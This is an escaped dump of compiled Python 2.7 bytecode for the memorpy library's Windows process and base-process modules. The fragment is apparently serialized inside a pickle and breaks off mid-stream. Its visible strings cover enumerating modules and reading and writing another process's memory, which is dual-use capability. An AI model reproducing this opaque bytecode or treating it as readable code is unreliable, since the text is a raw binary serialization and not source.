\\r\\\\x04c\\\\x01\\\\x00\\\\x00\\\\x00\\\\x05\\\\x00\\\\x00\\\\x00\\\\x04\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s\\\\xc7\\\\x00\\\\x00\\\\x00g\\\\x00\\\\x00}\\\\x01\\\\x00|\\\\x00\\\\x00j\\\\x00\\\\x00d\\\\x00\\\\x00k\\\\t\\\\x00r\\\\xc3\\\\x00t\\\\x02\\\\x00t\\\\x03\\\\x00j\\\\x04\\\\x00|\\\\x00\\\\x00j\\\\x00\\\\x00\\\\x83\\\\x02\\\\x00}\\\\x02\\\\x00|\\\\x02\\\\x00d\\\\x00\\\\x00k\\\\t\\\\x00r\\\\xc3\\\\x00t\\\\x05\\\\x00\\\\x83\\\\x00\\\\x00}\\\\x03\\\\x00t\\\\x06\\\\x00|\\\\x03\\\\x00\\\\x83\\\\x01\\\\x00|\\\\x03\\\\x00_\\\\x07\\\\x00t\\\\x08\\\\x00|\\\\x02\\\\x00t\\\\t\\\\x00|\\\\x03\\\\x00\\\\x83\\\\x01\\\\x00\\\\x83\\\\x02\\\\x00}\\\\x04\\\\x00xJ\\\\x00|\\\\x04\\\\x00r\\\\xaf\\\\x00|\\\\x03\\\\x00j\\\\n\\\\x00|\\\\x00\\\\x00j\\\\x00\\\\x00k\\\\x02\\\\x00r\\\\x97\\\\x00|\\\\x01\\\\x00j\\\\x0b\\\\x00t\\\\x0c\\\\x00j\\\\x0c\\\\x00|\\\\x03\\\\x00\\\\x83\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00\\\\x01n\\\\x00\\\\x00t\\\\r\\\\x00|\\\\x02\\\\x00t\\\\t\\\\x00|\\\\x03\\\\x00\\\\x83\\\\x01\\\\x00\\\\x83\\\\x02\\\\x00}\\\\x04\\\\x00qf\\\\x00Wt\\\\x0e\\\\x00j\\\\x0f\\\\x00|\\\\x02\\\\x00\\\\x83\\\\x01\\\\x00\\\\x01q\\\\xc3\\\\x00n\\\\x00\\\\x00|\\\\x01\\\\x00S(\\\\x01\\\\x00\\\\x00\\\\x00N(\\\\x10\\\\x00\\\\x00\\\\x00R\\\\x1d\\\\x00\\\\x00\\\\x00R&\\\\x00\\\\x00\\\\x00t\\\\x18\\\\x00\\\\x00\\\\x00CreateToolhelp32Snapshott\\\\x0c\\\\x00\\\\x00\\\\x00TH32CS_CLASSt\\\\n\\\\x00\\\\x00\\\\x00SNAPMODULEt\\\\r\\\\x00\\\\x00\\\\x00MODULEENTRY32R\\\\x01\\\\x00\\\\x00\\\\x00t\\\\x06\\\\x00\\\\x00\\\\x00dwSizet\\\\r\\\\x00\\\\x00\\\\x00Module32FirstR\\\\x05\\\\x00\\\\x00\\\\x00t\\\\r\\\\x00\\\\x00\\\\x00th32ProcessIDR1\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00copyt\\\\x0c\\\\x00\\\\x00\\\\x00Module32NextR,\\\\x00\\\\x00\\\\x00R0\\\\x00\\\\x00\\\\x00(\\\\x05\\\\x00\\\\x00\\\\x00R\\\\x1c\\\\x00\\\\x00\\\\x00t\\\\x0b\\\\x00\\\\x00\\\\x00module_listt\\\\x0b\\\\x00\\\\x00\\\\x00hModuleSnapt\\\\x0c\\\\x00\\\\x00\\\\x00module_entryt\\\\x07\\\\x00\\\\x00\\\\x00success(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/WinProcess.pyt\\\\x0c\\\\x00\\\\x00\\\\x00list_modules\\\\x0c\\\\x01\\\\x00\\\\x00s\\\\x1a\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x06\\\\x01\\\\x0f\\\\x01\\\\x15\\\\x01\\\\x0c\\\\x01\\\\t\\\\x01\\\\x0f\\\\x01\\\\x15\\\\x01\\\\t\\\\x01\\\\x12\\\\x01\\\\x19\\\\x01\\\\x19\\\\x02\\\\x13\\\\x01c\\\\x02\\\\x00\\\\x00\\\\x00\\\\x03\\\\x00\\\\x00\\\\x00\\\\x05\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s~\\\\x00\\\\x00\\\\x00xm\\\\x00|\\\\x00\\\\x00j\\\\x00\\\\x00\\\\x83\\\\x00\\\\x00D]_\\\\x00}\\\\x02\\\\x00t\\\\x01\\\\x00|\\\\x02\\\\x00j\\\\x02\\\\x00\\\\x83\\\\x01\\\\x00t\\\\x01\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00\\\\x04\\\\x03k\\\\x01\\\\x00oI\\\\x00t\\\\x01\\\\x00|\\\\x02\\\\x00j\\\\x02\\\\x00|\\\\x02\\\\x00j\\\\x03\\\\x00\\\\x17\\\\x83\\\\x01\\\\x00k\\\\x00\\\\x00n\\\\x02\\\\x00\\\\x02\\\\x01r\\\\r\\\\x00d\\\\x01\\\\x00|\\\\x02\\\\x00j\\\\x04\\\\x00t\\\\x01\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00|\\\\x02\\\\x00j\\\\x02\\\\x00\\\\x18f\\\\x02\\\\x00\\\\x16Sq\\\\r\\\\x00Wd\\\\x02\\\\x00t\\\\x01\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00\\\\x16S(\\\\x03\\\\x00\\\\x00\\\\x00Ns\\\\t\\\\x00\\\\x00\\\\x00%s+0x%08Xs\\\\x06\\\\x00\\\\x00\\\\x000x%08X(\\\\x05\\\\x00\\\\x00\\\\x00R\\\\xa0\\\\x00\\\\x00\\\\x00R\\\\x12\\\\x00\\\\x00\\\\x00t\\\\x0b\\\\x00\\\\x00\\\\x00modBaseAddrt\\\\x0b\\\\x00\\\\x00\\\\x00modBaseSizet\\\\x08\\\\x00\\\\x00\\\\x00szModule(\\\\x03\\\\x00\\\\x00\\\\x00R\\\\x1c\\\\x00\\\\x00\\\\x00R\\\\x80\\\\x00\\\\x00\\\\x00t\\\\x01\\\\x00\\\\x00\\\\x00m(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/WinProcess.pyt\\\\x11\\\\x00\\\\x00\\\\x00get_symbolic_name\\\\x1c\\\\x01\\\\x00\\\\x00s\\\\x08\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x13\\\\x01;\\\\x01\"\\\\x02c\\\\x02\\\\x00\\\\x00\\\\x00\\\\x04\\\\x00\\\\x00\\\\x00\\\\x04\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00sZ\\\\x00\\\\x00\\\\x00|\\\\x01\\\\x00d\\\\x01\\\\x00\\\\x1fd\\\\x02\\\\x00k\\\\x03\\\\x00r\\\\x1d\\\\x00|\\\\x01\\\\x00d\\\\x02\\\\x007}\\\\x01\\\\x00n\\\\x00\\\\x00|\\\\x00\\\\x00j\\\\x00\\\\x00\\\\x83\\\\x00\\\\x00}\\\\x02\\\\x00x*\\\\x00|\\\\x02\\\\x00D]\"\\\\x00}\\\\x03\\\\x00|\\\\x01\\\\x00|\\\\x03\\\\x00j\\\\x01\\\\x00j\\\\x02\\\\x00d\\\\x03\\\\x00\\\\x83\\\\x01\\\\x00k\\\\x06\\\\x00r0\\\\x00t\\\\x03\\\\x00Sq0\\\\x00Wt\\\\x04\\\\x00S(\\\\x04\\\\x00\\\\x00\\\\x00Ni\\\\xfc\\\\xff\\\\xff\\\\xffs\\\\x04\\\\x00\\\\x00\\\\x00.dlls\\\\x01\\\\x00\\\\x00\\\\x00\\\\\\\\(\\\\x05\\\\x00\\\\x00\\\\x00R\\\\xa0\\\\x00\\\\x00\\\\x00t\\\\t\\\\x00\\\\x00\\\\x00szExePatht\\\\x05\\\\x00\\\\x00\\\\x00splitRW\\\\x00\\\\x00\\\\x00R%\\\\x00\\\\x00\\\\x00(\\\\x04\\\\x00\\\\x00\\\\x00R\\\\x1c\\\\x00\\\\x00\\\\x00t\\\\x06\\\\x00\\\\x00\\\\x00moduleR\\\\x9c\\\\x00\\\\x00\\\\x00R\\\\xa4\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/WinProcess.pyt\\\\t\\\\x00\\\\x00\\\\x00hasModule#\\\\x01\\\\x00\\\\x00s\\\\x0e\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x10\\\\x01\\\\r\\\\x01\\\\x0c\\\\x01\\\\r\\\\x01\\\\x18\\\\x01\\\\x08\\\\x01c\\\\x02\\\\x00\\\\x00\\\\x00\\\\x04\\\\x00\\\\x00\\\\x00\\\\x03\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00sJ\\\\x00\\\\x00\\\\x00d\\\\x01\\\\x00d\\\\x02\\\\x00l\\\\x00\\\\x00}\\\\x02\\\\x00y\\\\x1c\\\\x00|\\\\x00\\\\x00j\\\\x01\\\\x00t\\\\x02\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00d\\\\x03\\\\x00\\\\x83\\\\x02\\\\x00}\\\\x03\\\\x00Wn\\\\x0c\\\\x00\\\\x01\\\\x01\\\\x01d\\\\x04\\\\x00|\\\\x01\\\\x00\\\\x16SX|\\\\x02\\\\x00j\\\\x03\\\\x00|\\\\x03\\\\x00|\\\\x02\\\\x00j\\\\x04\\\\x00\\\\x83\\\\x02\\\\x00S(\\\\x05\\\\x00\\\\x00\\\\x00sz\\\\x00\\\\x00\\\\x00\\\\n        Pydasm disassemble utility function wrapper. Returns the pydasm decoded instruction in self.instruction.\\\\n        i\\\\xff\\\\xff\\\\xff\\\\xffNi \\\\x00\\\\x00\\\\x00s\\\\x1d\\\\x00\\\\x00\\\\x00Unable to disassemble at %08x(\\\\x05\\\\x00\\\\x00\\\\x00t\\\\x06\\\\x00\\\\x00\\\\x00pydasmR\\\\x92\\\\x00\\\\x00\\\\x00R\\\\x12\\\\x00\\\\x00\\\\x00t\\\\x0f\\\\x00\\\\x00\\\\x00get_instructiont\\\\x07\\\\x00\\\\x00\\\\x00MODE_32(\\\\x04\\\\x00\\\\x00\\\\x00R\\\\x1c\\\\x00\\\\x00\\\\x00R\\\\x80\\\\x00\\\\x00\\\\x00R\\\\xaa\\\\x00\\\\x00\\\\x00R\\\\x81\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/WinProcess.pyR\\\\xab\\\\x00\\\\x00\\\\x00-\\\\x01\\\\x00\\\\x00s\\\\x0c\\\\x00\\\\x00\\\\x00\\\\x00\\\\x04\\\\x0c\\\\x01\\\\x03\\\\x01\\\\x1c\\\\x01\\\\x03\\\\x01\\\\t\\\\x02N(\\\\x1b\\\\x00\\\\x00\\\\x00t\\\\x08\\\\x00\\\\x00\\\\x00__name__t\\\\n\\\\x00\\\\x00\\\\x00__module__R&\\\\x00\\\\x00\\\\x00RW\\\\x00\\\\x00\\\\x00R\\\\x10\\\\x00\\\\x00\\\\x00R!\\\\x00\\\\x00\\\\x00R\\\\x15\\\\x00\\\\x00\\\\x00t\\\\x0c\\\\x00\\\\x00\\\\x00staticmethodRA\\\\x00\\\\x00\\\\x00RI\\\\x00\\\\x00\\\\x00RL\\\\x00\\\\x00\\\\x00R%\\\\x00\\\\x00\\\\x00R\\\\x11\\\\x00\\\\x00\\\\x00R \\\\x00\\\\x00\\\\x00R\\\\x13\\\\x00\\\\x00\\\\x00R\\\\x19\\\\x00\\\\x00\\\\x00R\\\\x16\\\\x00\\\\x00\\\\x00Ra\\\\x00\\\\x00\\\\x00Re\\\\x00\\\\x00\\\\x00Rf\\\\x00\\\\x00\\\\x00R|\\\\x00\\\\x00\\\\x00R\\\\x88\\\\x00\\\\x00\\\\x00R\\\\x92\\\\x00\\\\x00\\\\x00R\\\\xa0\\\\x00\\\\x00\\\\x00R\\\\xa5\\\\x00\\\\x00\\\\x00R\\\\xa9\\\\x00\\\\x00\\\\x00R\\\\xab\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/WinProcess.pyR\\\\r\\\\x00\\\\x00\\\\x00#\\\\x00\\\\x00\\\\x00s*\\\\x00\\\\x00\\\\x00\\\\x06\\\\x02\\\\x12\\\\x14\\\\t\\\\x03\\\\t\\\\n\\\\x0f\\\\x1c\\\\x0f\\\\n\\\\x0f\\\\t\\\\x0c\\\\x13\\\\t\\\\n\\\\x0c\\\\x0b\\\\t\\\\x05\\\\t\\\\x05\\\\t\\\\x06\\\\t\\\\x06\\\\t\\\\x06\\\\x15\\\\x18\\\\t\\\\x16\\\\x0f%\\\\t\\\\x10\\\\t\\\\x07\\\\t\\\\n(\\\\x1c\\\\x00\\\\x00\\\\x00t\\\\x06\\\\x00\\\\x00\\\\x00ctypesR\\\\x00\\\\x00\\\\x00\\\\x00R\\\\x01\\\\x00\\\\x00\\\\x00R\\\\x02\\\\x00\\\\x00\\\\x00R\\\\x03\\\\x00\\\\x00\\\\x00R\\\\x04\\\\x00\\\\x00\\\\x00R\\\\x05\\\\x00\\\\x00\\\\x00R\\\\x06\\\\x00\\\\x00\\\\x00R\\\\x07\\\\x00\\\\x00\\\\x00R\\\\x08\\\\x00\\\\x00\\\\x00t\\\\n\\\\x00\\\\x00\\\\x00structuresR\\\\x9a\\\\x00\\\\x00\\\\x00t\\\\x06\\\\x00\\\\x00\\\\x00structt\\\\x05\\\\x00\\\\x00\\\\x00utilsR#\\\\x00\\\\x00\\\\x00R\\\\n\\\\x00\\\\x00\\\\x00R\\\\x0b\\\\x00\\\\x00\\\\x00R*\\\\x00\\\\x00\\\\x00R,\\\\x00\\\\x00\\\\x00RO\\\\x00\\\\x00\\\\x00R&\\\\x00\\\\x00\\\\x00R\\\\x0c\\\\x00\\\\x00\\\\x00t\\\\x07\\\\x00\\\\x00\\\\x00hasattrt\\\\x07\\\\x00\\\\x00\\\\x00restypet\\\\x08\\\\x00\\\\x00\\\\x00c_void_pt\\\\x07\\\\x00\\\\x00\\\\x00POINTERt\\\\x08\\\\x00\\\\x00\\\\x00argtypesR\\\\r\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/WinProcess.pyt\\\\x08\\\\x00\\\\x00\\\\x00<module>\\\\x11\\\\x00\\\\x00\\\\x00s\\\\x1e\\\\x00\\\\x00\\\\x00@\\\\x01\\\\n\\\\x01\\\\x0c\\\\x01\\\\x0c\\\\x01\\\\x0c\\\\x01\\\\x0c\\\\x01\\\\x16\\\\x02\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x02\\\\x06\\\\x01\\\\x0f\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\x18\\\\x02\\'\\np23\\nsS\\'memorpy/BaseProcess.pyc\\'\\np24\\nS\\'\\\\x03\\\\xf3\\\\r\\\\ng\\\\x18\\\\x05Yc\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x03\\\\x00\\\\x00\\\\x00@\\\\x00\\\\x00\\\\x00sH\\\\x00\\\\x00\\\\x00d\\\\x00\\\\x00d\\\\x01\\\\x00l\\\\x00\\\\x00Z\\\\x00\\\\x00d\\\\x00\\\\x00d\\\\x01\\\\x00l\\\\x01\\\\x00Z\\\\x01\\\\x00d\\\\x02\\\\x00e\\\\x02\\\\x00f\\\\x01\\\\x00d\\\\x03\\\\x00\\\\x84\\\\x00\\\\x00\\\\x83\\\\x00\\\\x00YZ\\\\x03\\\\x00d\\\\x04\\\\x00e\\\\x04\\\\x00f\\\\x01\\\\x00d\\\\x05\\\\x00\\\\x84\\\\x00\\\\x00\\\\x83\\\\x00\\\\x00YZ\\\\x05\\\\x00d\\\\x01\\\\x00S(\\\\x06\\\\x00\\\\x00\\\\x00i\\\\xff\\\\xff\\\\xff\\\\xffNt\\\\x10\\\\x00\\\\x00\\\\x00ProcessExceptionc\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00B\\\\x00\\\\x00\\\\x00s\\\\x08\\\\x00\\\\x00\\\\x00e\\\\x00\\\\x00Z\\\\x01\\\\x00RS(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x02\\\\x00\\\\x00\\\\x00t\\\\x08\\\\x00\\\\x00\\\\x00__name__t\\\\n\\\\x00\\\\x00\\\\x00__module__(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sS\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/BaseProcess.pyR\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\x00\\\\x00\\\\x00s\\\\x02\\\\x00\\\\x00\\\\x00\\\\x06\\\\x01t\\\\x0b\\\\x00\\\\x00\\\\x00BaseProcessc\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x04\\\\x00\\\\x00\\\\x00B\\\\x00\\\\x00\\\\x00sh\\\\x00\\\\x00\\\\x00e\\\\x00\\\\x00Z\\\\x01\\\\x00d\\\\x00\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x02\\\\x00d\\\\x01\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x03\\\\x00d\\\\x02\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x04\\\\x00d\\\\x03\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x05\\\\x00d\\\\x04\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x06\\\\x00d\\\\x05\\\\x00d\\\\x06\\\\x00\\\\x84\\\\x01\\\\x00Z\\\\x07\\\\x00d\\\\x07\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x08\\\\x00d\\\\x08\\\\x00d\\\\t\\\\x00d\\\\n\\\\x00d\\\\x0b\\\\x00\\\\x84\\\\x03\\\\x00Z\\\\t\\\\x00d\\\\x08\\\\x00d\\\\x0c\\\\x00\\\\x84\\\\x01\\\\x00Z\\\\n\\\\x00RS(\\\\r\\\\x00\\\\x00\\\\x00c\\\\x01\\\\x00\\\\x00\\\\x00\\\\x03\\\\x00\\\\x00\\\\x00\\\\x02\\\\x00\\\\x00\\\\x00O\\\\x00\\\\x00\\\\x00s1\\\\x00\\\\x00\\\\x00d\\\\x02\\\\x00|\\\\x00\\\\x00_\\\\x01\\\\x00d\\\\x02\\\\x00|\\\\x00\\\\x00_\\\\x02\\\\x00t\\\\x03\\\\x00|\\\\x00\\\\x00_\\\\x04\\\\x00d\\\\x02\\\\x00|\\\\x00\\\\x00_\\\\x05\\\\x00d\\\\x01\\\\x00|\\\\x00\\\\x00_\\\\x06\\\\x00d\\\\x02\\\\x00S(\\\\x03\\\\x00\\\\x00\\\\x00s@\\\\x00\\\\x00\\\\x00 Create and Open a process object from its pid or from its name i\\\\x00\\\\x00\\\\x00\\\\x00N(\\\\x07\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00Nonet\\\\t\\\\x00\\\\x00\\\\x00h_processt\\\\x03\\\\x00\\\\x00\\\\x00pidt\\\\x05\\\\x00\\\\x00\\\\x00Falset\\\\r\\\\x00\\\\x00\\\\x00isProcessOpent\\\\x06\\\\x00\\\\x00\\\\x00buffert\\\\t\\\\x00\\\\x00\\\\x00bufferlen(\\\\x03\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00selft\\\\x04\\\\x00\\\\x00\\\\x00argst\\\\x06\\\\x00\\\\x00\\\\x00kwargs(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sS\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/BaseProcess.pyt\\\\x08\\\\x00\\\\x00\\\\x00__init__\\\\x0e\\\\x00\\\\x00\\\\x00s\\\\n\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x01c\\\\x01\\\\x00\\\\x00\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s\\\\x0e\\\\x00\\\\x00\\\\x00|\\\\x00\\\\x00j\\\\x00\\\\x00\\\\x83\\\\x00\\\\x00\\\\x01d\\\\x00\\\\x00S(\\\\x01\\\\x00\\\\x00\\\\x00N(\\\\x01\\\\x00\\\\x00\\\\x00t\\\\x05\\\\x00\\\\x00\\\\x00close(\\\\x01\\\\x00\\\\x00\\\\x00R\\\\x0b\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sS\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/BaseProcess.pyt\\\\x07\\\\x00\\\\x00\\\\x00__del__\\\\x16\\\\x00\\\\x00\\\\x00s\\\\x02\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01c\\\\x01\\\\x00\\\\x00\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s\\\\x04\\\\x00\\\\x00\\\\x00d\\\\x00\\\\x00S(\\\\x01\\\\x00\\\\x00\\\\x00N(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x01\\\\x00\\\\x00\\\\x00R\\\\x0b\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sS\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/BaseProcess.pyR\\\\x0f\\\\x00\\\\x00\\\\x00\\\\x19\\\\x00\\\\x00\\\\x00s\\\\x02\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01c\\\\x01\\\\x00\\\\x00\\\\x00\\\\x03\\\\x00\\\\x00\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00O\\\\x00\\\\x00\\\\x00s\\\\n\\\\x00\\\\x00\\\\x00t\\\\x00\\\\x00\\\\x82\\\\x01\\\\x00d\\\\x00\\\\x00S(\\\\x01\\\\x00\\\\x00\\\\x00N(\\\\x01\\\\x00\\\\x00\\\\x00t\\\\x13\\\\x00\\\\x00\\\\x00NotImplementedError(\\\\x03\\\\x00\\\\x00\\\\x00R\\\\x0b\\\\x00\\\\x00\\\\x00R\\\\x0c\\\\x00\\\\x00\\\\x00R\\\\r\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sS\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/BaseProcess.pyt\\\\x0b\\\\x00\\\\x00\\\\x00iter_region\\\\x1b\\\\x00\\\\x00\\\\x00s\\\\x02\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01c\\\\x03\\\\x00\\\\x00\\\\x00\\\\x03\\\\x00\\\\x00\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s\\\\n\\\\x00\\\\x00\\\\x00t\\\\x00\\\\x00\\\\x82\\\\x01\\\\x00d\\\\x00\\\\x00S(\\\\x01\\\\x00\\\\x00\\\\x00N(\\\\x01\\\\x00\\\\x00\\\\x00R\\\\x11\\\\x00\\\\x00\\\\x00(\\\\x03\\\\x00\\\\x00\\\\x00R\\\\x0b\\\\x00\\\\x00\\\\x00t\\\\x07\\\\x00\\\\x00\\\\x00addresst\\\\x04\\\\x00\\\\x00\\\\x00data(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sS\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/BaseProcess.pyt\\\\x0b\\\\x00\\\\x00\\\\x00write_bytes\\\\x1d\\\\x00\\\\x00\\\\x00s\\\\x02\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01i\\\\x04\\\\x00\\\\x00\\\\x00c\\\\x03\\\\x00\\\\x00\\\\x00\\\\x03\\\\x00\\\\x00\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s\\\\n\\\\x00\\\\x00\\\\x00t\\\\x00\\\\x00\\\\x82\\\\x01\\\\x00d\\\\x00\\\\x00S(\\\\x01\\\\x00\\\\x00\\\\x00N(\\\\x01\\\\x00\\\\x00\\\\x00R\\\\x11\\\\x00\\\\x00\\\\x00(\\\\x03\\\\x00\\\\x00\\\\x00R\\\\x0b\\\\x00\\\\x00\\\\x00R\\\\x13\\\\x00\\\\x00\\\\x00t\\\\x05\\\\x00\\\\x00\\\\x00bytes(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sS\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/BaseProcess.pyt\\\\n\\\\x00\\\\x00\\\\x00read_bytes \\\\x00\\\\x00\\\\x00s\\\\x02\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01c\\\\x02\\\\x00\\\\x00\\\\x00\\\\x02\\\\x00\\\\x00\\\\x00\\\\x03\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s\\\\x0e\\\\x00\\\\x00\\\\x00d\\\\x01\\\\x00t\\\\x00\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00\\\\x16S(\\\\x02\\\\x00\\\\x00\\\\x00Ns\\\\x06\\\\x00\\\\x00\\\\x000x%08X(\\\\x01\\\\x00\\\\x00\\\\x00t\\\\x03\\\\x00\\\\x00\\\\x00int(\\\\x02\\\\x00\\\\x00\\\\x00R\\\\x0b\\\\x00\\\\x00\\\\x00R\\\\x13\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sS\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/BaseProcess.pyt\\\\x11\\\\x00\\\\x00\\\\x00get_symbolic_name#\\\\x00\\\\x00\\\\x00s\\\\x02\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01t\\\\x04\\\\x00\\\\x00\\\\x00uinti2\\\\x00\\\\x00\\\\x00t\\\\x05\\\\x00\\\\x00\\\\x00raisec\\\\x05\\\\x00\\\\x00\\\\x00\\\\t\\\\x00\\\\x00\\\\x00\\\\x06\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s\\\\xf6\\\\x00\\\\x00\\\\x00|\\\\x02\\\\x00d\\\\x01\\\\x00k\\\\x02\\\\x00s\\\\x18\\\\x00|\\\\x02\\\\x00d\\\\x02\\\\x00k\\\\x02\\\\x00r\\\\x83\\\\x00|\\\\x00\\\\x00j\\\\x00\\\\x00t\\\\x01\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00d\\\\x03\\\\x00|\\\\x03\\\\x00\\\\x83\\\\x01\\\\x01}\\\\x05\\\\x00d\\\\x04\\\\x00}\\\\x06\\\\x00x(\\\\x00|\\\\x05\\\\x00D] \\\\x00}\\\\x07\\\\x00|\\\\x07\\\\x00d\\\\x05\\\\x00k\\\\x02\\\\x00rV\\\\x00|\\\\x06\\\\x00S|\\\\x06\\\\x00|\\\\x07\\\\x007}\\\\x06\\\\x00q@\\\\x00W|\\\\x04\\\\x00d\\\\x06\\\\x00k\\\\x02\\\\x00rt\\\\x00|\\\\x06\\\\x00St\\\\x02\\\\x00d\\\\x07\\\\x00\\\\x83\\\\x01\\\\x00\\\\x82\\\\x01\\\\x00no\\\\x00|\\\\x02\\\\x00d\\\\x03\\\\x00k\\\\x02\\\\x00s\\\\x9b\\\\x00|\\\\x02\\\\x00d\\\\x08\\\\x00k\\\\x02\\\\x00r\\\\xb4\\\\x00|\\\\x00\\\\x00j\\\\x00\\\\x00t\\\\x01\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00d\\\\x03\\\\x00|\\\\x03\\\\x00\\\\x83\\\\x01\\\\x01St\\\\x03\\\\x00j\\\\x04\\\\x00|\\\\x02\\\\x00\\\\x83\\\\x01\\\\x00\\\\\\\\\\\\x02\\\\x00}\\\\x05\\\\x00}\\\\x08\\\\x00t\\\\x05\\\\x00j\\\\x06\\\\x00|\\\\x05\\\\x00|\\\\x00\\\\x00j\\\\x00\\\\x00t\\\\x01\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x01